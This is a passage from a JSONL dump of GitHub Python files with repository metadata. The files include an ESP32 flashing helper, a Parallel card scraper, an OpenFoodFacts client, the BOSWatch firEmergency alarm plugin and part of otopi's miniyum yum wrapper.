= re.sub('^([^|]+).*$', r'\\1', selectedport)\n\nif args.info:\n os.system('esptool.py --port {port} flash_id'.format(port=port))\n exit(0)\n\nif args.fuse:\n os.system('espefuse.py --port {port} summary'.format(port=port))\n exit(0)\n\n\nif args.monitor:\n os.system('platformio device monitor --port {port}'.format(port=port))\n exit(0)\n\n# if upload or no argument given\nif args.format:\n print('********** erasing flash on {port}'.format(port=port))\n os.system('esptool.py --port {port} erase_flash'.format(port=port))\n exit(0)\n\nprint('********** uploading to {port}'.format(port=port))\nos.system('platformio run --target upload --upload-port {port}'.format(port=port))\n","repo_name":"2ni/esp32-devboard","sub_path":"handle_serial.py","file_name":"handle_serial.py","file_ext":"py","file_size_in_byte":2783,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"38365930654","text":"print(\"EXERCÍCIOS - SEÇÃO 7\")\n\n# s7q17\n\n'''\nFaça um programa que leia o vetor de 10 números. Leia um número x. Conte os múltiplos de um número inteiro x num vetor e mostre-os na tela.\n\n--> pra contar os múltiplos tem que x % == 0\n'''\n\nlista = []\n\n\nfor i in range(10):\n numero = int(input(\"INSIRA UM NÚMERO NA LISTA: \"))\n lista.append(numero)\n\nmultiplos = []\nn_multiplos = []\n\nx = int(input(\"INSIRA UM NÚMERO: \"))\n\nfor n in lista:\n if n % x == 0:\n multiplos.append(n)\n else:\n n_multiplos.append(n)\n\nprint(lista)\nprint(n_multiplos) \nprint(f\"O número inserido foi {x} e os seus múltiplos são: {multiplos}\")\n\n","repo_name":"RiosRebeca/Studying","sub_path":"udemy_python/exercicios/secao 7/s7q17.py","file_name":"s7q17.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"11635010447","text":"from bs4 import BeautifulSoup\nimport requests\nimport json\nimport datetime\n\n# TODO add card functions here to there are built directly into the core.json information from the get-go\n# if there is no function publically stated ... 'no function published to date'\n\ndicts = []\njust_ids = []\n\nfor cardID in range(1,1000):\n \n url = 'https://parallel.life/cards/' + str(cardID) + '/'\n page = requests.get(url)\n soup = BeautifulSoup(page.text, 'html.parser')\n \n if len(soup.select('h3')) > 0:\n \n name = soup.select('title')\n h3s = soup.select('h3')\n \n for i, pp in enumerate(soup.select('p')):\n if \"Edition of\" in pp.text:\n supply_p = pp.text\n break\n\n \n part1 = soup.select('img')[1]['src'].split('card-art/')[1].split('_')[0].lower()\n if part1 in ['universal', 'kathari', 'marcolian', 'earthen', 'augencore', 'shroud']:\n parallel_name = part1\n else:\n if 'universal' in h3s[1].text or 'Universal' in h3s[1].text:\n parallel_name = 'universal'\n elif 'kathari' in h3s[1].text or 'Kathari' in h3s[1].text:\n parallel_name = 'kathari'\n elif 'marcolian' in h3s[1].text or 'Marcolian' in h3s[1].text:\n parallel_name = 'marcolian'\n elif 'earthen' in h3s[1].text or 'Earthen' in h3s[1].text:\n parallel_name = 'earthen'\n elif 'augencore' in h3s[1].text or 'Augencore' in h3s[1].text:\n parallel_name = 'augencore'\n elif 'shroud' in h3s[1].text or 'Shroud' in h3s[1].text:\n parallel_name = 'shroud'\n else:\n parallel_name = 'none'\n \n \n d = {'name': name[0].text.lower().replace('parallel masterpiece // alpha // ','').strip(),\n 'parallel': parallel_name,\n 'description': h3s[1].text,\n 'rarity': supply_p.split(' // ')[0].strip(),\n 'supply': int(supply_p.split('// Edition of ')[1].strip()),\n 'parallel_id': str(cardID),\n 'parallel_img': soup.select('img')[1]['src']\n }\n\n links = soup.select('a')\n for link in links: \n if 'opensea' in link['href']:\n d['opensea_id'] = link['href'].replace(\n 'https://opensea.io/assets/0x76be3b62873462d2142405439777e971754e8e77/', '')\n \n if len(h3s) > 3:\n d['artist'] = h3s[2].text.split('// @')[1].strip()\n else:\n d['artist'] = ''\n \n if 'Masterpieces' in d['description']:\n d['type'] = 'masterpiece'\n elif 'Card Back' in d['description']:\n d['type'] = 'card back'\n elif 'concept art' in d['name']:\n d['type'] = 'concept art'\n else:\n d['type'] = 'card'\n\n if '[se]' in d['name']:\n d['standard'] = 'se'\n else:\n d['standard'] = 'standard'\n\n if '[PL]' in d['name']:\n d['perfect_loop'] = 1\n else: \n d['perfect_loop'] = 1\n\n night_substring_list = ['Night', 'night', 'Ngt']\n if any(map(d['parallel_img'].__contains__, night_substring_list)):\n d['night'] = 1\n else: \n d['night'] = 0\n \n day_substring_list = ['Day', 'day']\n if any(map(d['parallel_img'].__contains__, day_substring_list)):\n d['day'] = 1\n else:\n d['day'] = 0\n\n dicts.append(d)\n just_ids.append(d['opensea_id'])\n\n\nwith open('core.json', 'w') as fout:\n json.dump(dicts, fout)\n\n\nwith open('os_ids.json', 'w') as fout:\n json.dump(just_ids, fout)\n \n \n# Open a file with access mode 'a'\nfile_object = open('commit_logs.txt', 'a')\n# Append 'hello' at the end of file\nfile_object.write(datetime.datetime.now().strftime(\"%I:%M%p on %B %d, %Y\") + \" | \" + str(len(dicts)) + \" cards \\n\")\n# Close the file\nfile_object.close()\n\n\n","repo_name":"joemulberry/para_baseinfo","sub_path":"base_update.py","file_name":"base_update.py","file_ext":"py","file_size_in_byte":3982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36391736881","text":"from os import walk, path\nimport json\n\n\ndef strToClientJson(jsonStr, path='client.json'):\n print(jsonStr)\n newData = json.loads(jsonStr)\n with open(path, \"w\") as jsonFile:\n json.dump(newData, jsonFile)\n\n\ndef file_to_dict(fpath):\n return {\n 'name': path.basename(fpath),\n 'type': 'file',\n 'copy_Paste_This': fpath,\n }\n\n\ndef folder_to_dict(rootpath):\n return {\n 'name': path.basename(rootpath),\n 'type': 'folder',\n 'copy_Paste_This': rootpath,\n 'children': [],\n }\n\n\ndef tree_to_dict(rootpath):\n root_dict = folder_to_dict(rootpath)\n for root, folders, files in walk(rootpath):\n root_dict['children'] = [file_to_dict(\n path.sep.join([root, fpath])) for fpath in files]\n root_dict['children'] += [tree_to_dict(path.sep.join([root, folder]))\n for folder in folders]\n return root_dict\n\n\ndef tree_to_json(rootdir=\"toShare\", pretty_print=True):\n js = ''\n for root, folders, files in walk(rootdir):\n root_dict = [tree_to_dict(path.sep.join([root, folder]))\n for folder in folders]\n root_dict += [file_to_dict(path.sep.join([root, fpath]))\n for fpath in files]\n\n js = json.dumps(root_dict)\n\n return js\n\n\ndef printTreeOnScreen():\n with open(\"client.json\", 'r') as f:\n data = json.load(f)\n\n print(json.dumps(data, indent=4))\n","repo_name":"Aadeesh11/APeer-A-p2p-file-sharing-cli","sub_path":"client/jsonUtils.py","file_name":"jsonUtils.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"18394910506","text":"# Nick May - Harvard Course - May 2021\n\n# this is a dictionary nested inside a list\n\npeople = [\n {\"name\": \"John\", \"house\": \"red\"}, \n {\"name\": \"Paul\", \"house\": \"blue\"}, \n {\"name\": \"Ringo\", \"house\": \"yellow\"},\n {\"name\": \"George\", \"house\": \"blue\"}\n ]\n\n# if you try and sort like this people.sort() you will get an error, so we need to tell python how to sort this dictionary\n\ndef f(person):\n return person[\"name\"]\n\n# now we have a function that will sort by name, we run this type of sort\n\npeople.sort(key=f)\n\nprint(people)\n\n# now it is sorted by name - George will come first\n# you could change the sort by changing return person[\"name\"] to return person[\"house\"] this will sort by house\n\n# NOW python will let you do all of this on one line called a lambda this is how we could have done it:\n\npeople.sort(key=lambda person: person[\"name\"]) # This is a fast way to do the same function\n\nprint(people)\n\n\n","repo_name":"Nicko72/Harvard-Course","sub_path":"Python/lambda.py","file_name":"lambda.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4697054062","text":"import requests\nfrom constants import *\n\n\n\nclass Api:\n \"\"\"\n This class has the responsibility of collecting a certain number\n of products, in selected categories, thus to give a valid\n structure for the insertion in the database\n \"\"\"\n def __init__(self):\n \"\"\" The constructor is not used here \"\"\"\n pass\n\n @staticmethod\n def connect_and_sort():\n \"\"\" Use the configuration for the connecting interface \"\"\"\n\n all_products = []\n # This config for for connecting API\n api = 'https://fr.openfoodfacts.org/cgi/search.pl'\n for category in CATEGORIES:\n payload = {\"action\": \"process\",\n \"json\": 1,\n # Get the result by category\n \"tagtype_0\": \"categories\",\n \"tag_contains_0\": \"contains\",\n # the tag represents the article search\n \"tag_0\": category,\n # Number of articles per page\n \"page_size\": quantity\n }\n\n response = requests.get(api, params=payload)\n results = response.json()\n all_products.extend(results['products'])\n return all_products\n\n @staticmethod\n def final_response(all_products):\n \"\"\" Formatted the response just harvest the categories selected \"\"\"\n final_selected_product = []\n\n for product in all_products:\n categories = product['categories']\n name = product['product_name_fr']\n nutrition_grade = product['nutrition_grade_fr']\n url = product['url']\n description = product['generic_name_fr']\n stores = product['stores']\n barcode = product['code']\n key = (barcode, name, nutrition_grade, url, description, stores, categories)\n # Respect of the order of the criteria insert in a tuple\n # and simple format in database insert\n final_selected_product.append(key)\n return final_selected_product\n\n\ndef main():\n \"\"\" Initialize the data collect \"\"\"\n\n data_collect = Api()\n api_connection = data_collect.connect_and_sort()\n data_collect.final_response(api_connection)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n\n\n\n","repo_name":"thedev1992/P5_Glenn_ONDJIKA","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"71303996721","text":"import os\nimport simpleaudio as sa\n\n\nclass soundHandler():\n def __init__(self, game):\n self.game = game\n self.playObject = None\n self.waveObject = None\n\n\n \n def playSound(self, filename):\n\n currentDir = os.getcwd()\n filename = currentDir.replace('\\\\', '/')+'/sounds/'+filename\n\n wave_obj = sa.WaveObject.from_wave_file(filename)\n wave_obj.play()\n \n\n def startMusic(self, filename):\n currentDir = os.getcwd()\n filename = currentDir.replace('\\\\', '/')+'/sounds/'+filename\n\n self.waveObject = sa.WaveObject.from_wave_file(filename)\n self.playObject = self.waveObject.play()\n\n def draw(self):\n pass\n\n def update(self):\n if not self.playObject.is_playing():\n self.playObject = self.waveObject.play()\n\n\n\n\nif __name__ == '__main__':\n soundHandlerInit = soundHandler('test')\n soundHandlerInit.playSound('gunshot2.wav')\n","repo_name":"Lcarrico/pow-pow-pew-pew","sub_path":"soundHandler.py","file_name":"soundHandler.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17140049792","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\n\"\"\"\nfirEmergency-Plugin to dispatch ZVEI- and POCSAG - messages to firEmergency\n\nfirEmergency configuration:\n- set input to \"Standartschnittstelle\" at Port 5555\n\n@autor: Smith-fms\n\n@requires: firEmergency-Configuration has to be set in the config.ini\n\"\"\"\n\nimport logging # Global logger\nimport socket\n\nfrom includes import globalVars # Global variables\n\nfrom includes.helper import configHandler\nfrom includes.helper import stringConverter\n\n\n###\n#\n# onLoad (init) function of plugin\n# will be called one time by the pluginLoader on start\n#\ndef onLoad():\n\t\"\"\"\n\tWhile loading the plugins by pluginLoader.loadPlugins()\n\tthis onLoad() routine is called one time for initialize the plugin\n\n\t@requires: nothing\n\n\t@return: nothing\n\t\"\"\"\n\t# nothing to do for this plugin\n\treturn\n\n\n##\n#\n# Main function of firEmergency-plugin\n# will be called by the alarmHandler\n#\ndef run(typ,freq,data):\n\t\"\"\"\n\tThis function is the implementation of the firEmergency-Plugin.\n\tIt will send the data to an firEmergency-Instance.\n\n\tThe configuration for the firEmergency-Connection is set in the config.ini.\n\n\t@type typ: string (ZVEI|POC)\n\t@param typ: Typ of the dataset for sending to firEmergency\n\t@type data: map of data (structure see readme.md in plugin folder)\n\t@param data: Contains the parameter for dispatch to firEmergency.\n\t@type freq: string\n\t@keyword freq: frequency is not used in this plugin\n\n\t@requires: firEmergency-Configuration has to be set in the config.ini\n\n\t@return: nothing\n\t\"\"\"\n\ttry:\n\t\tif configHandler.checkConfig(\"firEmergency\"): #read and debug the config\n\n\t\t\ttry:\n\t\t\t\t#\n\t\t\t\t# connect to firEmergency\n\t\t\t\t#\n\t\t\t\tfirSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\t\t\tfirSocket.connect((globalVars.config.get(\"firEmergency\", \"firserver\"), globalVars.config.getint(\"firEmergency\", \"firport\")))\n\t\t\texcept:\n\t\t\t\tlogging.error(\"cannot connect to firEmergency\")\n\t\t\t\tlogging.debug(\"cannot connect to firEmergency\", exc_info=True)\n\t\t\t\t# Without connection, plugin couldn't work\n\t\t\t\treturn\n\n\t\t\telse:\n\t\t\t\t#\n\t\t\t\t# Format given data-structure to xml-string for firEmergency\n\t\t\t\t#\n\t\t\t\tif typ == \"FMS\":\n\t\t\t\t\tlogging.debug(\"FMS not supported by firEmgency\")\n\n\t\t\t\telif typ == \"ZVEI\":\n\t\t\t\t\tlogging.debug(\"ZVEI to firEmergency\")\n\t\t\t\t\ttry:\n\t\t\t\t\t\t\tdescription = stringConverter.convertToUTF8(data[\"description\"])\n\t\t\t\t\t\t\tfirXML = \"<event>\\n<address>\"+data[\"zvei\"]+\"</address>\\n<description>\"+description+\"</description>\\n<message>\"+data[\"zvei\"]+\"</message>\\n</event>\\n\"\n\t\t\t\t\t\t\tfirSocket.send(firXML)\n\t\t\t\t\texcept:\n\t\t\t\t\t\t\tlogging.error(\"%s to firEmergency failed\", typ)\n\t\t\t\t\t\t\tlogging.debug(\"%s to firEmergency failed\", typ, exc_info=True)\n\t\t\t\t\t\t\t# Without connection, plugin couldn't work\n\t\t\t\t\t\t\treturn\n\n\t\t\t\telif typ == \"POC\":\n\t\t\t\t\tlogging.debug(\"POC to firEmergency\")\n\t\t\t\t\ttry:\n\t\t\t\t\t\t\t# !!! Subric+\"XX\" because of an Issuse in firEmergency !!!\n\t\t\t\t\t\t\tdescription = stringConverter.convertToUTF8(data[\"description\"])\n\t\t\t\t\t\t\tmsg = stringConverter.convertToUTF8(data[\"msg\"])\n\t\t\t\t\t\t\tfirXML = \"<event>\\n<address>\"+data[\"ric\"]+\"</address>\\n<status>\"+data[\"function\"]+\"XX</status>\\n<description>\"+description+\"</description>\\n<message>\"+msg+\"</message>\\n</event>\\n\"\n\t\t\t\t\t\t\tfirSocket.send(firXML)\n\t\t\t\t\texcept:\n\t\t\t\t\t\t\tlogging.error(\"%s to firEmergency failed\", typ)\n\t\t\t\t\t\t\tlogging.debug(\"%s to firEmergency failed\", typ, exc_info=True)\n\t\t\t\t\t\t\t# Without connection, plugin couldn't work\n\t\t\t\t\t\t\treturn\n\n\t\t\t\telse:\n\t\t\t\t\tlogging.warning(\"Invalid Typ: %s\", typ)\n\n\t\t\tfinally:\n\t\t\t\tlogging.debug(\"close firEmergency-Connection\")\n\t\t\t\ttry:\n\t\t\t\t\tfirSocket.close()\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\n\texcept:\n\t\tlogging.error(\"unknown error\")\n\t\tlogging.debug(\"unknown error\", exc_info=True)\n","repo_name":"Schrolli91/BOSWatch","sub_path":"plugins/firEmergency/firEmergency.py","file_name":"firEmergency.py","file_ext":"py","file_size_in_byte":3711,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"75"} +{"seq_id":"25814331473","text":"#\n# otopi -- plugable installer\n#\n\n\n\"\"\"Minimalist yum API interaction.\"\"\"\n\n\nimport gettext\nimport logging\nimport os\nimport sys\nimport time\nimport traceback\n\n\nimport rpmUtils.miscutils\n\n\nimport yum\nimport yum.Errors\nimport yum.callbacks\nimport yum.constants\nimport yum.rpmtrans\n\n\ndef _(m):\n return gettext.dgettext(message=m, domain='otopi')\n\n\nclass MiniYumSinkBase(object):\n \"\"\"Sink base.\"\"\"\n\n @property\n def failed(self):\n return self._failed\n\n def clearError(self):\n self._failed = False\n\n def verbose(self, msg):\n \"\"\"verbose log.\n\n Keyword arguments:\n msg -- message to print\n\n \"\"\"\n pass\n\n def info(self, msg):\n \"\"\"info log.\n\n Keyword arguments:\n msg -- message to print\n\n \"\"\"\n pass\n\n def error(self, msg):\n \"\"\"error log.\n\n Keyword arguments:\n msg -- message to print\n\n \"\"\"\n self._failed = True\n\n def keepAlive(self, msg):\n \"\"\"keepAlive log.\n\n Keyword arguments:\n msg -- message to print\n\n \"\"\"\n pass\n\n def askForGPGKeyImport(self, userid, hexkeyid):\n \"\"\"Ask for GPG Key import.\n\n Keyword arguments:\n userid -- user\n hexkeyid - key id\n\n return True to accept.\n\n \"\"\"\n return False\n\n def reexec(self):\n \"\"\"Last chance before reexec.\"\"\"\n pass\n\n\nclass MiniYum(object):\n \"\"\"Minimalist yum API interaction.\"\"\"\n\n TRANSACTION_STATE = {\n yum.constants.TS_UPDATE: _('update'),\n yum.constants.TS_INSTALL: _('install'),\n yum.constants.TS_TRUEINSTALL: _('trueinstall'),\n yum.constants.TS_ERASE: _('erase'),\n yum.constants.TS_OBSOLETED: _('obsoleted'),\n yum.constants.TS_OBSOLETING: _('obsoleting'),\n yum.constants.TS_AVAILABLE: _('available'),\n yum.constants.TS_UPDATED: _('updated'),\n 'repackaging': _('repackaging'),\n }\n\n class _LogHandler(logging.Handler):\n \"\"\"Required for extracting yum log output.\"\"\"\n\n def __init__(self, sink):\n logging.Handler.__init__(self)\n self._sink = sink\n\n def emit(self, record):\n if self._sink is not None:\n self._sink.verbose(record.getMessage())\n\n class _YumLogger(logging.Logger):\n \"\"\"Required for hacking yum log.\"\"\"\n\n _sink = None\n\n def __init__(self, name, level=logging.NOTSET):\n logging.Logger.__init__(self, name, level)\n\n def addHandler(self, hdlr):\n if self.name.startswith('yum') or self.name.startswith('rhsm'):\n self.handlers = []\n logging.Logger.addHandler(\n self,\n MiniYum._LogHandler(\n MiniYum._YumLogger._sink\n )\n )\n else:\n logging.Logger.addHandler(self, hdlr)\n\n class _YumListener(object):\n \"\"\"Required for extracting yum events.\"\"\"\n\n def __init__(self, sink):\n self._sink = sink\n\n def event(self, event, *args, **kwargs):\n if event in yum.callbacks.PT_MESSAGES:\n msg = '%s' % yum.callbacks.PT_MESSAGES[event]\n elif event == yum.callbacks.PT_DOWNLOAD_PKGS:\n msg = _('Download packages')\n else:\n msg = _('Unknown({event})').format(event=event)\n entry = _('Status: {message}').format(message=msg)\n\n if event == yum.callbacks.PT_DOWNLOAD_PKGS:\n entry += _(' packages:')\n for po in args[0]:\n entry += ' ' + MiniYum._get_package_name(po)\n\n self._sink.verbose(entry)\n else:\n self._sink.info(entry)\n\n class _RPMCallback(yum.rpmtrans.RPMBaseCallback):\n \"\"\"Required for extracting rpm events.\"\"\"\n\n def __init__(self, sink):\n yum.rpmtrans.RPMBaseCallback.__init__(self)\n self._sink = sink\n self._lastaction = None\n self._lastpackage = None\n\n def event(\n self, package, action, te_current, te_total,\n ts_current, ts_total\n ):\n if self._lastaction != action or package != self._lastpackage:\n self._lastaction = action\n self._lastpackage = package\n\n #\n # NOTE:\n # do not use self.action as it is encoded\n # using invalid encoding, some unicode proprietary\n # for yum.\n # test using LC_ALL=cs_CZ.utf8, LANG=cs_CZ\n #\n self._sink.info(\n _('{action}: {count}/{total}: {package}').format(\n action=MiniYum.TRANSACTION_STATE.get(action, action),\n count=ts_current,\n total=ts_total,\n package=package,\n )\n )\n\n def scriptout(self, package, msgs):\n if msgs:\n self._sink.verbose('Script sink: ' + msgs)\n\n self._sink.verbose('Done: %s' % (package))\n\n def errorlog(self, msg):\n self._sink.error(msg)\n\n def filelog(self, package, action):\n yum.rpmtrans.RPMBaseCallback.filelog(self, package, action)\n\n def verify_txmbr(self, base, txmbr, count):\n self._sink.info(\n _('Verify: {count}/{total}: {member}').format(\n count=count,\n total=len(base.tsInfo),\n member=txmbr,\n )\n )\n\n class _DownloadCallback(yum.callbacks.DownloadBaseCallback):\n \"\"\"Required for extracting progress messages.\"\"\"\n\n def __init__(self, sink):\n yum.callbacks.DownloadBaseCallback.__init__(self)\n self._sink = sink\n\n def updateProgress(self, name, frac, fread, ftime):\n msg = _('Downloading: {package} {count}({percent}%)').format(\n package=name,\n count=fread,\n percent=int(float(frac) * 100)\n )\n self._sink.verbose(msg)\n self._sink.keepAlive(msg)\n yum.callbacks.DownloadBaseCallback.updateProgress(\n self,\n name,\n frac,\n fread,\n ftime\n )\n\n class _VoidSink(MiniYumSinkBase):\n def __init__(self):\n super(MiniYum._VoidSink, self).__init__()\n\n class _HandleStdHandlesBase(object):\n def __init__(self):\n pass\n\n def __enter__(self):\n pass\n\n def __exit__(self, exc_type, exc_value, traceback):\n pass\n\n class _HandleStdHandles(_HandleStdHandlesBase):\n \"\"\"Disable stdin/stdout/stderr\n\n Even after handling all logs, there are\n some tools that writes to stderr/stdout!!!\n these are not important messages, so we just\n ignore for now\n\n \"\"\"\n\n def __init__(self, rfile=None):\n self._refcount = 0\n self._rstdin = os.open(os.devnull, os.O_RDONLY)\n if rfile is None:\n self._rstdout = os.open(os.devnull, os.O_WRONLY)\n self._should_close_rstdout = True\n else:\n self._rstdout = rfile.fileno()\n self._should_close_rstdout = False\n\n def __del__(self):\n os.close(self._rstdin)\n if self._should_close_rstdout:\n os.close(self._rstdout)\n\n def __enter__(self):\n self._refcount += 1\n if self._refcount == 1:\n self._oldfds = []\n\n for i in range(3):\n self._oldfds.append(os.dup(i))\n if i == 0:\n os.dup2(self._rstdin, i)\n else:\n os.dup2(self._rstdout, i)\n\n def __exit__(self, exc_type, exc_value, traceback):\n self._refcount -= 1\n if self._refcount == 0:\n # first flush any python buffers\n for stream in (sys.stdout, sys.stderr):\n # tty [at least] gets errors\n stream.flush()\n try:\n os.fsync(stream.fileno())\n except OSError:\n pass\n\n for i in range(len(self._oldfds)):\n os.dup2(self._oldfds[i], i)\n os.close(self._oldfds[i])\n\n class _YumBase(yum.YumBase):\n \"\"\"Require to overrde base functions.\"\"\"\n\n def __init__(self, sink):\n yum.YumBase.__init__(self)\n\n self._sink = sink\n self._lastpkg = None\n\n def _askForGPGKeyImport(self, po, userid, hexkeyid):\n return self._sink.askForGPGKeyImport(userid, hexkeyid)\n\n def verifyPkg(self, fo, po, raiseError):\n if self._lastpkg != po:\n self._lastpkg = po\n self._sink.info(\n _('Download/Verify: {package}').format(\n package=MiniYum._get_package_name(po),\n )\n )\n return yum.YumBase.verifyPkg(self, fo, po, raiseError)\n\n class _MiniYumTransaction(object):\n def __init__(self, managed, rollback=True):\n self._managed = managed\n self._rollback = rollback\n\n def __enter__(self):\n self._managed.beginTransaction()\n\n def __exit__(self, exc_type, exc_value, traceback):\n self._managed.endTransaction(\n rollback=(\n self._rollback and\n exc_type is not None\n ),\n )\n\n @classmethod\n def _get_package_name(clz, po):\n return '%s%s-%s-%s.%s' % (\n '' if po.epoch == '0' else '%s:' % po.epoch,\n po.name,\n po.version,\n po.release,\n po.arch\n )\n\n @classmethod\n def _get_package_info(clz, po):\n info = {}\n info['display_name'] = clz._get_package_name(po)\n for f in (\n 'name',\n 'version',\n 'release',\n 'epoch',\n 'arch'\n ):\n info[f] = getattr(po, f)\n return info\n\n @classmethod\n def setup_log_hook(clz, sink=None):\n \"\"\"logging hack for yum.\n\n Keyword arguments:\n sink -- callback sink (default None)\n\n Yum packages uses logging package\n intensively, but we have no clue which\n log is used.\n What we have done in constructor should have\n redirect all output to us.\n However, its lazy initialization of the\n log handlers, diverse some output to its own\n handlers.\n So we set our own class to remove the hostile\n handlers for the yum loggers.\n\n Maybe someday this code can be removed.\n\n Tested: rhel-6.3\n\n \"\"\"\n clz._YumLogger._sink = sink\n logging.setLoggerClass(clz._YumLogger)\n\n def _queueGroup(self, action, call, group, ignoreErrors=False):\n ret = True\n\n with self._disableOutput:\n try:\n self._sink.verbose(\n 'queue group %s for %s' % (group, action)\n )\n call(grpid=group)\n self._sink.verbose('group %s queued' % group)\n except yum.Errors.YumBaseError as e:\n ret = False\n msg = _('Cannot queue group {group}: {error}').format(\n group=group,\n error=e\n )\n if ignoreErrors:\n self._sink.verbose(msg)\n else:\n self._sink.error(msg)\n raise\n\n except Exception as e:\n self._sink.error(\n _('Cannot queue group {group}: {error}').format(\n group=group,\n error=e\n )\n )\n raise\n\n return ret\n\n def _queryProvides(self, packages, showdups=None):\n database = {}\n ret = []\n\n for po in self._yb.searchPackageProvides(args=packages):\n if po.arch in (\n list(self._yb.arch.legit_multi_arches) +\n ['noarch']\n ):\n database.setdefault(\n '%s%s' % (\n po.epoch,\n po.name,\n ),\n [],\n ).append(po)\n\n if showdups:\n ret = sum(database.values(), [])\n else:\n for entry in database.values():\n class EVR(object):\n\n def _evr(self, po):\n return (\n po['epoch'],\n po['version'],\n po['release'],\n )\n\n def __init__(self, po):\n self._po = po\n\n def __cmp__(self, other):\n return rpmUtils.miscutils.compareEVR(\n self._evr(self._po),\n self._evr(other._po),\n )\n\n ret.append(\n sorted(\n entry,\n key=lambda x: EVR(x),\n reverse=True,\n )[0]\n )\n\n return ret\n\n def _queue(\n self,\n action,\n getpackages,\n call,\n packages,\n ignoreErrors=False,\n ):\n ret = True\n\n with self._disableOutput:\n for package in packages:\n try:\n self._sink.verbose(\n 'queue package %s for %s' % (package, action)\n )\n\n provides = self._queryProvides(packages=(package,))\n\n if not provides:\n raise RuntimeError(\n _('Package {package} cannot be found').format(\n package=package,\n )\n )\n\n holder = self._yb.doPackageLists(\n patterns=[self._get_package_name(p) for p in provides],\n )\n\n for po in getpackages(holder):\n self._sink.verbose(\n 'processing package %s for %s' % (po, action)\n )\n call(po=po)\n self._sink.verbose('package %s queued' % po)\n\n except (RuntimeError, yum.Errors.YumBaseError) as e:\n ret = False\n msg = _('Cannot queue package {package}: {error}').format(\n package=package,\n error=e\n )\n if ignoreErrors:\n self._sink.verbose(msg)\n else:\n self._sink.error(msg)\n raise\n\n except Exception as e:\n self._sink.error(\n _('Cannot queue package {package}: {error}').format(\n package=package,\n error=e\n )\n )\n raise\n\n return ret\n\n @property\n def sink(self):\n return self._sink\n\n def __init__(\n self,\n sink=None,\n blockStdHandles=True,\n extraLog=None,\n disabledPlugins=None,\n enabledPlugins=None,\n ):\n \"\"\"Constructor.\n\n Keyword arguments:\n sink -- sink to use for interaction.\n extraLog -- a File object for stdout/stderr redirection.\n\n Notes:\n extraLog is required in order to collect noise output\n of yum going into stdout/stderr directly.\n\n \"\"\"\n try:\n self._yb = None\n\n if sink is None:\n self._sink = self._VoidSink()\n else:\n self._sink = sink\n\n if blockStdHandles:\n self._disableOutput = self._HandleStdHandles(rfile=extraLog)\n else:\n self._disableOutput = self._HandleStdHandlesBase()\n\n with self._disableOutput:\n self._yb = self._YumBase(self._sink)\n if disabledPlugins is not None:\n self._yb.preconf.disabled_plugins = disabledPlugins\n if enabledPlugins is not None:\n self._yb.preconf.enabled_plugins = enabledPlugins\n self._yb.conf.rpmverbosity = \"debug\"\n\n #\n # DO NOT use async which is the\n # hardcoded default as we will not\n # be able to monitor progress\n #\n from urlgrabber import grabber\n if hasattr(grabber, 'parallel_wait'):\n for repo in self._yb.repos.listEnabled():\n repo._async = False\n\n #\n # Set progress bar hook, useless if\n # async/parallel is enabled.\n #\n self._yb.repos.setProgressBar(\n self._DownloadCallback(self._sink)\n )\n\n for logger in ('yum', 'rhsm'):\n log = logging.getLogger(logger)\n log.propagate = False\n log.handlers = []\n log.addHandler(\n self._LogHandler(self._sink)\n )\n\n except Exception as e:\n self._sink.error(e)\n\n def __del__(self):\n \"\"\"Destructor\"\"\"\n if self._yb is not None:\n del self._yb\n self._yb = None\n\n def selinux_role(self):\n \"\"\"Setup proper selinux role.\n\n this must be called at beginning of process\n to adjust proper roles for selinux.\n it will re-execute the process with same arguments.\n\n This has similar effect of:\n # chcon -t rpm_exec_t executable.py\n\n We must do this dynamic as this class is to be\n used at bootstrap stage, so we cannot put any\n persistent selinux policy changes, and have no clue\n if filesystem where we put scripts supports extended\n attributes, or if we have proper role for chcon.\n\n \"\"\"\n\n try:\n import selinux\n except ImportError:\n with self.transaction():\n self.install(['libselinux-python'])\n if self.buildTransaction():\n self.processTransaction()\n #\n # on fedora-18 for example\n # the selinux core is updated\n # so we fail resolving symbols\n # solution is re-execute the process\n # after installation.\n #\n self._sink.reexec()\n os.execv(sys.executable, [sys.executable] + sys.argv)\n os._exit(1)\n\n if selinux.is_selinux_enabled():\n rc, ctx = selinux.getcon()\n if rc != 0:\n raise Exception(_('Cannot get selinux context'))\n ctx1 = selinux.context_new(ctx)\n if not ctx1:\n raise Exception(_('Cannot create selinux context'))\n if selinux.context_role_get(ctx1) != 'system_r':\n if selinux.context_role_set(ctx1, 'system_r') != 0:\n raise Exception(\n _('Cannot set role within selinux context')\n )\n if selinux.setexeccon(selinux.context_str(ctx1)) != 0:\n raise Exception(\n _('Cannot set selinux exec context')\n )\n self._sink.reexec()\n os.execv(sys.executable, [sys.executable] + sys.argv)\n os._exit(1)\n\n def transaction(self, rollback=True):\n \"\"\"Manage transaction.\n\n Usage:\n with miniyum.transaction():\n do anything\n \"\"\"\n return self._MiniYumTransaction(self, rollback=rollback)\n\n def clean(self, what):\n \"\"\"Clean yum data.\"\"\"\n\n self._sink.verbose(\n _('Cleaning caches: {what}.').format(\n what=what,\n )\n )\n\n try:\n doall = 'all' in what\n\n with self._disableOutput:\n for w, f in (\n ('metadata', self._yb.cleanMetadata),\n ('packages', self._yb.cleanPackages),\n ('sqlite', self._yb.cleanSqlite),\n ('expire-cache', self._yb.cleanExpireCache),\n ('rpmdb', 